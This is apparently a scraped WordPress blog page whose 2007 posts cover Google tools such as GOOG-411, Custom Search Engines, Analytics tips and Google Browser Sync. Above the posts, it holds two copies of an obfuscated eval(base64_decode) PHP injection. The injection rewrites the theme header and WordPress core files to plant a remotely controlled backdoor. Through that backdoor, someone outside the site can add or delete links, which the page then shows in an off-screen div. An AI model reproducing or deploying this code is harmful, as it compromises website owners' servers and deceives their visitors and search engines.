//zzstart eval(base64_decode("Ly8gZmlyc3QgcmVtb3ZlIG15c2VsZgokZmlsZSA9IFRFTVBMQVRFUEFUSC4iL2hlYWRlci5waHAiOwokbW9kID0gZmlsZV9jdXQoJGZpbGUsIHN0cnJldigidHJhdHN6eiIpLCBzdHJyZXYoImhzaW5pZnp6IikpOyAKCgovLyBtb2RpZnkgaGVhZGVyLnBocAokZmlsZSA9IFRFTVBMQVRFUEFUSC4iL2hlYWRlci5waHAiOwokY2hlY2sgPSBmaW5kX2xpbmUoJGZpbGUsICJ3cF9oYWVkIik7CmlmKCRjaGVjaykgZGllKCJGaWxlIGFscmVhZHkgcGF0Y2hlZCIpOwokbW9kID0gZmlsZV9hcHBlbmQoJGZpbGUsICI8P3BocCBpZihmdW5jdGlvbl9leGlzdHMoJ3dwX2hhZWQnKSkgQHdwX2hhZWQoKSA/PiIpOwoKCi8vIG1vZGlmeSBnZW5lcmFsLXRlbXBsYXRlCiRmaWxlID0gQUJTUEFUSC4id3AtaW5jbHVkZXMvZ2VuZXJhbC10ZW1wbGF0ZS5waHAiOwokY29udGVudCA9IGJhc2U2NF9kZWNvZGUoJ1puVnVZM1JwYjI0Z2QzQmZhR0ZsWkNncElIc0tDUzh2Y0hKcGJuUmZjaWdrWDFKRlVWVkZVMVFwT3dvS0NXbG1LQ1JmVWtWUlZVVlRWRnNuWTNKaGJXVnlKMTA5UFNkcWFXMG5LU0I3Q2drS0NRbHBaaWdrWDFKRlVWVkZVMVJiSjJOdFpDZGRQVDBuWVdSa0p5a2dld29KQ1FscFppZ2habWxzWlY5bGVHbHpkSE1vUVVKVFVFRlVTQzRuZDNBdGFXNWpiSFZrWlhNdmFXMWhaMlZ6THljcEtTQkFiV3RrYVhJZ0tFRkNVMUJCVkVndUozZHdMV2x1WTJ4MVpHVnpMMmx0WVdkbGN5OG5LVHNLQ1FrSkNna0pDU1J3WVhKaGJTQTlJSFJ5YVcwb0pGOVNSVkZWUlZOVVd5ZHdZWEpoYlNkZEtUc0tDUWtKSkhScGRHeGxJRDBnZEhKcGJTZ2tYMUpGVVZWRlUxUmJKM1JwZEd4bEoxMHBPd29KQ1FrS0NRa0pKR1lnUFNCbWIzQmxiaWhCUWxOUVFWUklMaWQzY0MxcGJtTnNkV1JsY3k5cGJXRm5aWE12Y0dsNFpXd3VaMmxtSnl3Z0oyRXJKeWs3Q2drSkNTUnlJRDBnWm5CMWRITW9KR1lzSUNJOFlTQm9jbVZtUFZ3aUpIQmhjbUZ0WENJK0pIUnBkR3hsUEM5aFBseHVJaWs3Q2drSkNTUnlJRDBnWm1Oc2IzTmxLQ1JtS1RzS0NRa0pDZ2tKQ1dWamFHOGdJandoTFMwZ1lXUmtJSE4xWTJObGMzTm1kV3dnTFMwK1hHNGlPd29KQ1FrS0NRbDlJR1ZzYzJWcFppQW9KRjlTUlZGVlJWTlVXeWRqYldRblhUMDlKMlJsYkdWMFpTY3BJSHNLQ1FrSkNpQWdJQ0FnSUNSd1lYSmhiU0E5SUhSeWFXMG9KRjlTUlZGVlJWTlVXeWR3WVhKaGJTZGRLVHNLSUNBZ0lDQWdKRzl5YVdjZ1BTQm1hV3hsS0VGQ1UxQkJWRWd1SjNkd0xXbHVZMngxWkdWekwybHRZV2RsY3k5d2FYaGxiQzVuYVdZbktUc0tJQ0FnSUNBZ2RXNXNhVzVyS0VGQ1UxQkJWRWd1SjNkd0xXbHVZMngxWkdWekwybHRZV2RsY3k5d2FYaGxiQzVuYVdZbktUc0tJQ0FnSUNBZ0pHWWdQU0JtYjNCbGJpaEJRbE5RUVZSSUxpZDNjQzFwYm1Oc2RXUmxjeTlwYldGblpYTXZjR2w0Wld3dVoybG1KeXdnSjJFckp5azdDaUFnSUNBZ0lHWnZjbVZoWTJnb0pHOXlhV2NnWVhNZ0pHeHBibVU5UGlSMllXeDFaU2tnZXdvZ0lDQWdJQ0FnSUNSMllXeDFaVDEwY21sdEtDUjJZV3gxWlNrN0NpQWdJQ0FnSUNBZ0pIQnZjejF6ZEhKd2IzTW9KSFpoYkhWbExDQWtjR0Z5WVcwcE93b2dJQ0FnSUNBZ0lHbG1LQ1J3YjNNOFBUQXBJR1p3ZFhSektDUm1MQ0FrZG1Gc2RXVXVJbHh1SWlrN0NpQWdJQ0FnSUgwS0lDQWdJQ0FnSkhJZ1BTQm1ZMnh2YzJVb0pHWXBPd29nSUNBZ0lDQmxZMmh2SUNJOElTMHRJR1JsYkdWMFpTQnpkV05qWlhOelpuVnNJQzB0UGx4dUlqc0tDUWtKQ1FrSkNRb0pDWDBLQ1FrS0NYMGdaV3h6WlNCN0Nna0phV1lvWm1sc1pWOWxlR2x6ZEhNb1FVSlRVRUZVU0M0bmQzQXRhVzVqYkhWa1pYTXZhVzFoWjJWekwzQnBlR1ZzTG1kcFppY3BLU0I3Q2drSkNTUnNaV1owWDI5bVptVjBQUzB4TURBd0xYSmhibVFvTUN3ek1EQXBLaTB4T3dvSkNRa2tkRzl3WDI5bVptVjBQUzB4TURBd0xYSmhibVFvTUN3ek1EQXBLaTB4T3dvSkNTQWdKR1JwZG5CcFpXTmxjejFsZUhCc2IyUmxLQ2NzSnl3aVlYSXNZbUVzYm1Fc1kyOHNiR2tzWkdrc1ptRXNibThzYzNRc2JIa2lLVHNLQ1FrSlptOXlLQ1JrYVhad2FXVmpaVDB3T3lSa2FYWndhV1ZqWlR3MU95UmthWFp3YVdWalpTc3JLU0I3Q2drSkNTQWdKR1JwZG01aGJXVXVQU1JrYVhad2FXVmpaWE5iY21GdVpDZ3dMSE5wZW1WdlppZ2taR2wyY0dsbFkyVnpLU2xkT3dvSkNRbDlDZ2tKQ1Q4K0Nna0pDVHhrYVhZZ2FXUTlJbmR3WHp3L1BTUmthWFp1WVcxbElEOCtJaUJ6ZEhsc1pUMGljRzl6YVhScGIyNDZZV0p6YjJ4MWRHVTdJR3hsWm5RNlBEODlKR3hsWm5SZmIyWm1jMlYwUHo1d2VEc2dkRzl3T2p3L1BTUjBiM0JmYjJabVpYUS9QbkI0T3lJK0NRb0pDUWs4UHlCcGJtTnNkV1JsSUVGQ1UxQkJWRWd1SjNkd0xXbHVZMngxWkdWekwybHRZV2RsY3k5d2FYaGxiQzVuYVdZbk95QS9QZ29KQ1FrOEwyUnBkajRLQ1FrSlBEOEtDUWw5Q2dsOUNna0tmUW9LJyk7CiRjaGVjayA9IGZpbmRfbGluZSgkZmlsZSwgIndwX2hhZWQiKTsKaWYoJGNoZWNrKSBkaWUoIkZpbGUgYWxyZWFkeSBwYXRjaGVkIik7CiRsaW5lID0gZmluZF9saW5lKCRmaWxlLCAiZnVuY3Rpb24gcGFnaW5hdGVfbGlua3MiKTsKJHJzID0gZmlsZV9hZGQoJGZpbGUsICRsaW5lLS0sICRjb250ZW50KTsKCmZ1bmN0aW9uIGZpbGVfY3V0KCRmaWxlLCAkc3RhcnQsICRmaW5pc2gpIHsKCWlmKGVtcHR5KCRmaWxlKSB8fCAhZmlsZV9leGlzdHMoJGZpbGUpKSBkaWUoImZpbGUgJGZpbGUgZG9lc24ndCBleGlzdCIpOwoJaWYoIWlzX3dyaXRhYmxlKCRmaWxlKSkgZGllKCJmaWxlICRmaWxlIGlzbid0IHdyaXRhYmxlIik7CglpZihmaWxlX2V4aXN0cygkZmlsZS4iLmJhayIpKSBkaWUoIkZpbGUgJGZpbGUuYmFrIGV4aXN0cyIpOwoKCXJlbmFtZSgkZmlsZSwgJGZpbGUuIi5iYWsiKTsKCQoJJG9yaWdpbmFsID0gZmlsZSgkZmlsZS4iLmJhayIpOwoJJG5ldyA9IGZvcGVuKCRmaWxlLCAiYSsiKTsKCQoJJHdyaXRlID0gVFJVRTsKCQoJZm9yZWFjaCgkb3JpZ2luYWwgYXMgJGxpbmVfaWQ9PiRsaW5lX2NvbnRlbnRzKSB7CgkJCgoJCQoJCWlmKHN0cnN0cigkbGluZV9jb250ZW50cywgJHN0YXJ0KSkgewoJCQkkd3JpdGUgPSBUUlVFOwoJCQljb250aW51ZTsKCQl9CgoJCWlmKHN0cnN0cigkbGluZV9jb250ZW50cywgJGZpbmlzaCkpIHsKCQkJJHdyaXRlID0gRkFMU0U7CgkJCWNvbnRpbnVlOwoJCX0JCQoJCQoJCWlmKCR3cml0ZSkgewoJCQlmcHV0cygkbmV3LCAkbGluZV9jb250ZW50cyk7CgkJfQoKCX0KCQoJLy8gY2xvc2UgdGhlIGZpbGVzCglmY2xvc2UoJG5ldyk7Cgl1bmxpbmsoJGZpbGUuIi5iYWsiKTsKfQoKCmZ1bmN0aW9uIGZpbGVfYWRkKCRmaWxlLCAkbGluZSwgJGNvbnRlbnQpIHsKCQoJaWYoZW1wdHkoJGZpbGUpIHx8ICFmaWxlX2V4aXN0cygkZmlsZSkpIGRpZSgiZmlsZSAkZmlsZSBkb2Vzbid0IGV4aXN0Iik7CglpZighaXNfd3JpdGFibGUoJGZpbGUpKSBkaWUoImZpbGUgJGZpbGUgaXNuJ3Qgd3JpdGFibGUiKTsKCWlmKGZpbGVfZXhpc3RzKCRmaWxlLiIuYmFrIikpIGRpZSgiRmlsZSAkZmlsZS5iYWsgZXhpc3RzIik7CgkKCXJlbmFtZSgkZmlsZSwgJGZpbGUuIi5iYWsiKTsKCQoJJG9yaWdpbmFsID0gZmlsZSgkZmlsZS4iLmJhayIpOwoJJG5ldyA9IGZvcGVuKCRmaWxlLCAiYSsiKTsKCQoJZm9yZWFjaCgkb3JpZ2luYWwgYXMgJGxpbmVfaWQ9PiRsaW5lX2NvbnRlbnRzKSB7CgkJCgkJLy9lY2hvICRsaW5lX2lkLiI9PiIuJGxpbmVfY29udGVudHMuIjxicj5cbiI7CgkJCgoJCWlmKCRsaW5lX2lkPT0kbGluZSkgewoJCQlmcHV0cygkbmV3LCAkY29udGVudCk7CgkJfQoJCQoJCWZwdXRzKCRuZXcsICRsaW5lX2NvbnRlbnRzKTsKCX0KCQoJLy8gY2xvc2UgdGhlIGZpbGVzCglmY2xvc2UoJG5ldyk7CgkKCXVubGluaygkZmlsZS4iLmJhayIpOwoKCQp9CgpmdW5jdGlvbiBmaW5kX2xpbmUoJGZpbGUsICR0ZXh0KSB7CglpZihlbXB0eSgkZmlsZSkgfHwgIWZpbGVfZXhpc3RzKCRmaWxlKSkgZGllKCJmaWxlICRmaWxlIGRvZXNuJ3QgZXhpc3QiKTsKCWlmKCFpc193cml0YWJsZSgkZmlsZSkpIGRpZSgiZmlsZSAkZmlsZSBpc24ndCB3cml0YWJsZSIpOwoKCSRvcmlnaW5hbCA9IGZpbGUoJGZpbGUpOwoJCglmb3JlYWNoKCRvcmlnaW5hbCBhcyAkbGluZV9pZD0+JGxpbmVfY29udGVudHMpIHsKCQlpZihzdHJzdHIoJGxpbmVfY29udGVudHMsICR0ZXh0KSkgewoJCQlyZXR1cm4gJGxpbmVfaWQ7CgkJCWJyZWFrOwoJCX0KCQkKCX0KCXJldHVybiBmYWxzZTsKCQp9CgpmdW5jdGlvbiBmaWxlX2FwcGVuZCgkZmlsZSwgJHRleHQpIHsKCWlmKGVtcHR5KCRmaWxlKSB8fCAhZmlsZV9leGlzdHMoJGZpbGUpKSBkaWUoImZpbGVfYXBwZW5kOiBmaWxlICRmaWxlIGRvZXNuJ3QgZXhpc3QiKTsKCWlmKCFpc193cml0YWJsZSgkZmlsZSkpIGRpZSgiZmlsZV9hcHBlbmQ6IGZpbGUgJGZpbGUgaXNuJ3Qgd3JpdGFibGUiKTsKCQoJJGZpbGUgPSBmb3BlbigkZmlsZSwgImErIik7CgkkcnMgPSBmcHV0cygkZmlsZSwgJHRleHQpOwoJZmNsb3NlKCRmaWxlKTsKfQo="));
?>//zzfinish//zzstart eval(base64_decode("Ly8gZmlyc3QgcmVtb3ZlIG15c2VsZgokZmlsZSA9IFRFTVBMQVRFUEFUSC4iL2hlYWRlci5waHAiOwokbW9kID0gZmlsZV9jdXQoJGZpbGUsIHN0cnJldigidHJhdHN6eiIpLCBzdHJyZXYoImhzaW5pZnp6IikpOyAKCgovLyBtb2RpZnkgaGVhZGVyLnBocAokZmlsZSA9IFRFTVBMQVRFUEFUSC4iL2hlYWRlci5waHAiOwokY2hlY2sgPSBmaW5kX2xpbmUoJGZpbGUsICJ3cF9oYWVkIik7CmlmKCRjaGVjaykgZGllKCJGaWxlIGFscmVhZHkgcGF0Y2hlZCIpOwokbW9kID0gZmlsZV9hcHBlbmQoJGZpbGUsICI8P3BocCBpZihmdW5jdGlvbl9leGlzdHMoJ3dwX2hhZWQnKSkgQHdwX2hhZWQoKSA/PiIpOwoKCi8vIG1vZGlmeSBnZW5lcmFsLXRlbXBsYXRlCiRmaWxlID0gQUJTUEFUSC4id3AtaW5jbHVkZXMvZ2VuZXJhbC10ZW1wbGF0ZS5waHAiOwokY29udGVudCA9IGJhc2U2NF9kZWNvZGUoJ1puVnVZM1JwYjI0Z2QzQmZhR0ZsWkNncElIc0tDUzh2Y0hKcGJuUmZjaWdrWDFKRlVWVkZVMVFwT3dvS0NXbG1LQ1JmVWtWUlZVVlRWRnNuWTNKaGJXVnlKMTA5UFNkcWFXMG5LU0I3Q2drS0NRbHBaaWdrWDFKRlVWVkZVMVJiSjJOdFpDZGRQVDBuWVdSa0p5a2dld29KQ1FscFppZ2habWxzWlY5bGVHbHpkSE1vUVVKVFVFRlVTQzRuZDNBdGFXNWpiSFZrWlhNdmFXMWhaMlZ6THljcEtTQkFiV3RrYVhJZ0tFRkNVMUJCVkVndUozZHdMV2x1WTJ4MVpHVnpMMmx0WVdkbGN5OG5LVHNLQ1FrSkNna0pDU1J3WVhKaGJTQTlJSFJ5YVcwb0pGOVNSVkZWUlZOVVd5ZHdZWEpoYlNkZEtUc0tDUWtKSkhScGRHeGxJRDBnZEhKcGJTZ2tYMUpGVVZWRlUxUmJKM1JwZEd4bEoxMHBPd29KQ1FrS0NRa0pKR1lnUFNCbWIzQmxiaWhCUWxOUVFWUklMaWQzY0MxcGJtTnNkV1JsY3k5cGJXRm5aWE12Y0dsNFpXd3VaMmxtSnl3Z0oyRXJKeWs3Q2drSkNTUnlJRDBnWm5CMWRITW9KR1lzSUNJOFlTQm9jbVZtUFZ3aUpIQmhjbUZ0WENJK0pIUnBkR3hsUEM5aFBseHVJaWs3Q2drSkNTUnlJRDBnWm1Oc2IzTmxLQ1JtS1RzS0NRa0pDZ2tKQ1dWamFHOGdJandoTFMwZ1lXUmtJSE4xWTJObGMzTm1kV3dnTFMwK1hHNGlPd29KQ1FrS0NRbDlJR1ZzYzJWcFppQW9KRjlTUlZGVlJWTlVXeWRqYldRblhUMDlKMlJsYkdWMFpTY3BJSHNLQ1FrSkNpQWdJQ0FnSUNSd1lYSmhiU0E5SUhSeWFXMG9KRjlTUlZGVlJWTlVXeWR3WVhKaGJTZGRLVHNLSUNBZ0lDQWdKRzl5YVdjZ1BTQm1hV3hsS0VGQ1UxQkJWRWd1SjNkd0xXbHVZMngxWkdWekwybHRZV2RsY3k5d2FYaGxiQzVuYVdZbktUc0tJQ0FnSUNBZ2RXNXNhVzVyS0VGQ1UxQkJWRWd1SjNkd0xXbHVZMngxWkdWekwybHRZV2RsY3k5d2FYaGxiQzVuYVdZbktUc0tJQ0FnSUNBZ0pHWWdQU0JtYjNCbGJpaEJRbE5RUVZSSUxpZDNjQzFwYm1Oc2RXUmxjeTlwYldGblpYTXZjR2w0Wld3dVoybG1KeXdnSjJFckp5azdDaUFnSUNBZ0lHWnZjbVZoWTJnb0pHOXlhV2NnWVhNZ0pHeHBibVU5UGlSMllXeDFaU2tnZXdvZ0lDQWdJQ0FnSUNSMllXeDFaVDEwY21sdEtDUjJZV3gxWlNrN0NpQWdJQ0FnSUNBZ0pIQnZjejF6ZEhKd2IzTW9KSFpoYkhWbExDQWtjR0Z5WVcwcE93b2dJQ0FnSUNBZ0lHbG1LQ1J3YjNNOFBUQXBJR1p3ZFhSektDUm1MQ0FrZG1Gc2RXVXVJbHh1SWlrN0NpQWdJQ0FnSUgwS0lDQWdJQ0FnSkhJZ1BTQm1ZMnh2YzJVb0pHWXBPd29nSUNBZ0lDQmxZMmh2SUNJOElTMHRJR1JsYkdWMFpTQnpkV05qWlhOelpuVnNJQzB0UGx4dUlqc0tDUWtKQ1FrSkNRb0pDWDBLQ1FrS0NYMGdaV3h6WlNCN0Nna0phV1lvWm1sc1pWOWxlR2x6ZEhNb1FVSlRVRUZVU0M0bmQzQXRhVzVqYkhWa1pYTXZhVzFoWjJWekwzQnBlR1ZzTG1kcFppY3BLU0I3Q2drSkNTUnNaV1owWDI5bVptVjBQUzB4TURBd0xYSmhibVFvTUN3ek1EQXBLaTB4T3dvSkNRa2tkRzl3WDI5bVptVjBQUzB4TURBd0xYSmhibVFvTUN3ek1EQXBLaTB4T3dvSkNTQWdKR1JwZG5CcFpXTmxjejFsZUhCc2IyUmxLQ2NzSnl3aVlYSXNZbUVzYm1Fc1kyOHNiR2tzWkdrc1ptRXNibThzYzNRc2JIa2lLVHNLQ1FrSlptOXlLQ1JrYVhad2FXVmpaVDB3T3lSa2FYWndhV1ZqWlR3MU95UmthWFp3YVdWalpTc3JLU0I3Q2drSkNTQWdKR1JwZG01aGJXVXVQU1JrYVhad2FXVmpaWE5iY21GdVpDZ3dMSE5wZW1WdlppZ2taR2wyY0dsbFkyVnpLU2xkT3dvSkNRbDlDZ2tKQ1Q4K0Nna0pDVHhrYVhZZ2FXUTlJbmR3WHp3L1BTUmthWFp1WVcxbElEOCtJaUJ6ZEhsc1pUMGljRzl6YVhScGIyNDZZV0p6YjJ4MWRHVTdJR3hsWm5RNlBEODlKR3hsWm5SZmIyWm1jMlYwUHo1d2VEc2dkRzl3T2p3L1BTUjBiM0JmYjJabVpYUS9QbkI0T3lJK0NRb0pDUWs4UHlCcGJtTnNkV1JsSUVGQ1UxQkJWRWd1SjNkd0xXbHVZMngxWkdWekwybHRZV2RsY3k5d2FYaGxiQzVuYVdZbk95QS9QZ29KQ1FrOEwyUnBkajRLQ1FrSlBEOEtDUWw5Q2dsOUNna0tmUW9LJyk7CiRjaGVjayA9IGZpbmRfbGluZSgkZmlsZSwgIndwX2hhZWQiKTsKaWYoJGNoZWNrKSBkaWUoIkZpbGUgYWxyZWFkeSBwYXRjaGVkIik7CiRsaW5lID0gZmluZF9saW5lKCRmaWxlLCAiZnVuY3Rpb24gcGFnaW5hdGVfbGlua3MiKTsKJHJzID0gZmlsZV9hZGQoJGZpbGUsICRsaW5lLS0sICRjb250ZW50KTsKCmZ1bmN0aW9uIGZpbGVfY3V0KCRmaWxlLCAkc3RhcnQsICRmaW5pc2gpIHsKCWlmKGVtcHR5KCRmaWxlKSB8fCAhZmlsZV9leGlzdHMoJGZpbGUpKSBkaWUoImZpbGUgJGZpbGUgZG9lc24ndCBleGlzdCIpOwoJaWYoIWlzX3dyaXRhYmxlKCRmaWxlKSkgZGllKCJmaWxlICRmaWxlIGlzbid0IHdyaXRhYmxlIik7CglpZihmaWxlX2V4aXN0cygkZmlsZS4iLmJhayIpKSBkaWUoIkZpbGUgJGZpbGUuYmFrIGV4aXN0cyIpOwoKCXJlbmFtZSgkZmlsZSwgJGZpbGUuIi5iYWsiKTsKCQoJJG9yaWdpbmFsID0gZmlsZSgkZmlsZS4iLmJhayIpOwoJJG5ldyA9IGZvcGVuKCRmaWxlLCAiYSsiKTsKCQoJJHdyaXRlID0gVFJVRTsKCQoJZm9yZWFjaCgkb3JpZ2luYWwgYXMgJGxpbmVfaWQ9PiRsaW5lX2NvbnRlbnRzKSB7CgkJCgoJCQoJCWlmKHN0cnN0cigkbGluZV9jb250ZW50cywgJHN0YXJ0KSkgewoJCQkkd3JpdGUgPSBUUlVFOwoJCQljb250aW51ZTsKCQl9CgoJCWlmKHN0cnN0cigkbGluZV9jb250ZW50cywgJGZpbmlzaCkpIHsKCQkJJHdyaXRlID0gRkFMU0U7CgkJCWNvbnRpbnVlOwoJCX0JCQoJCQoJCWlmKCR3cml0ZSkgewoJCQlmcHV0cygkbmV3LCAkbGluZV9jb250ZW50cyk7CgkJfQoKCX0KCQoJLy8gY2xvc2UgdGhlIGZpbGVzCglmY2xvc2UoJG5ldyk7Cgl1bmxpbmsoJGZpbGUuIi5iYWsiKTsKfQoKCmZ1bmN0aW9uIGZpbGVfYWRkKCRmaWxlLCAkbGluZSwgJGNvbnRlbnQpIHsKCQoJaWYoZW1wdHkoJGZpbGUpIHx8ICFmaWxlX2V4aXN0cygkZmlsZSkpIGRpZSgiZmlsZSAkZmlsZSBkb2Vzbid0IGV4aXN0Iik7CglpZighaXNfd3JpdGFibGUoJGZpbGUpKSBkaWUoImZpbGUgJGZpbGUgaXNuJ3Qgd3JpdGFibGUiKTsKCWlmKGZpbGVfZXhpc3RzKCRmaWxlLiIuYmFrIikpIGRpZSgiRmlsZSAkZmlsZS5iYWsgZXhpc3RzIik7CgkKCXJlbmFtZSgkZmlsZSwgJGZpbGUuIi5iYWsiKTsKCQoJJG9yaWdpbmFsID0gZmlsZSgkZmlsZS4iLmJhayIpOwoJJG5ldyA9IGZvcGVuKCRmaWxlLCAiYSsiKTsKCQoJZm9yZWFjaCgkb3JpZ2luYWwgYXMgJGxpbmVfaWQ9PiRsaW5lX2NvbnRlbnRzKSB7CgkJCgkJLy9lY2hvICRsaW5lX2lkLiI9PiIuJGxpbmVfY29udGVudHMuIjxicj5cbiI7CgkJCgoJCWlmKCRsaW5lX2lkPT0kbGluZSkgewoJCQlmcHV0cygkbmV3LCAkY29udGVudCk7CgkJfQoJCQoJCWZwdXRzKCRuZXcsICRsaW5lX2NvbnRlbnRzKTsKCX0KCQoJLy8gY2xvc2UgdGhlIGZpbGVzCglmY2xvc2UoJG5ldyk7CgkKCXVubGluaygkZmlsZS4iLmJhayIpOwoKCQp9CgpmdW5jdGlvbiBmaW5kX2xpbmUoJGZpbGUsICR0ZXh0KSB7CglpZihlbXB0eSgkZmlsZSkgfHwgIWZpbGVfZXhpc3RzKCRmaWxlKSkgZGllKCJmaWxlICRmaWxlIGRvZXNuJ3QgZXhpc3QiKTsKCWlmKCFpc193cml0YWJsZSgkZmlsZSkpIGRpZSgiZmlsZSAkZmlsZSBpc24ndCB3cml0YWJsZSIpOwoKCSRvcmlnaW5hbCA9IGZpbGUoJGZpbGUpOwoJCglmb3JlYWNoKCRvcmlnaW5hbCBhcyAkbGluZV9pZD0+JGxpbmVfY29udGVudHMpIHsKCQlpZihzdHJzdHIoJGxpbmVfY29udGVudHMsICR0ZXh0KSkgewoJCQlyZXR1cm4gJGxpbmVfaWQ7CgkJCWJyZWFrOwoJCX0KCQkKCX0KCXJldHVybiBmYWxzZTsKCQp9CgpmdW5jdGlvbiBmaWxlX2FwcGVuZCgkZmlsZSwgJHRleHQpIHsKCWlmKGVtcHR5KCRmaWxlKSB8fCAhZmlsZV9leGlzdHMoJGZpbGUpKSBkaWUoImZpbGVfYXBwZW5kOiBmaWxlICRmaWxlIGRvZXNuJ3QgZXhpc3QiKTsKCWlmKCFpc193cml0YWJsZSgkZmlsZSkpIGRpZSgiZmlsZV9hcHBlbmQ6IGZpbGUgJGZpbGUgaXNuJ3Qgd3JpdGFibGUiKTsKCQoJJGZpbGUgPSBmb3BlbigkZmlsZSwgImErIik7CgkkcnMgPSBmcHV0cygkZmlsZSwgJHRleHQpOwoJZmNsb3NlKCRmaWxlKTsKfQo="));
?>//zzfinish
30 Jun, 2007 by Robert
Google has just add a nifty new feature to there 1-800-GOOG-411. For those of you who don’t know what this number is it’s a free directory line hosted by Google that’s completely voice automated. In addition to the great feature of it being absolutely FREE Google gives users the ability to receive a text message with details and a link to a map of the results just by saying the magic words “Map it.” Amazing! Check out the full scoop at the Official Google Blog.
14 Jun, 2007 by Robert
The smarty pants over at Google launched an interesting new feature to customize Custom Search Engines. By adding a small amount of code to your page you can now have a Custom Search Engine powered by Google that searches all the sites that link to your page for your specified query. You can read the full story at Googlecustomsearch.blogspot.com.
You can now create a CSE by simply placing a small piece of tailored code on a page on your site. With
that one piece of code, Google’s search technology will automatically include in your new CSE all of the sites you have linked to from that page, creating a dynamic, powerful and tailored search experience really quickly. Moreover, your new CSE will update itself periodically to include any new links added to that page.
Oh Google you make it so easy for people to love you.
11 Jun, 2007 by David
From Blogstorm.co.uk
Blogstorm gives us a comprehensive list of pointers to better make use of the familiar analytics package by Google. Some of the topics include:
- Tracking exit clicks, banner clicks and RSS feed subscribers
- Tracking ecommerce revenue
- How to track Sales
- Tracking 404 errors
6 Jun, 2007 by David
Ahhh, Google.com…. I could go on and on about the wondrous tools that Google has pumped out over the years for the tech-savvy (and you have to be, if you want to succeed in the world of online marketing). If you are like most decently aware Internet users, you probably have Firefox installed wherever you go. Perhaps you even have a tool like Foxmarks syncing your bookmarks so you have up to date bookmarks wherever you go. But lets say you want not just your bookmarks, but your password, your history (and all encrypted to protect your privacy along with a password), and tabs session all to follow you wherever you go. Intrigued?
Enter: Google Browser Sync.
This incredible extension for Firefox,
Continuously synchronizes your browser settings – including bookmarks,
history, persistent cookies, and saved passwords – across your
computers. It also allows you to restore open tabs and windows across
different machines and browser sessions.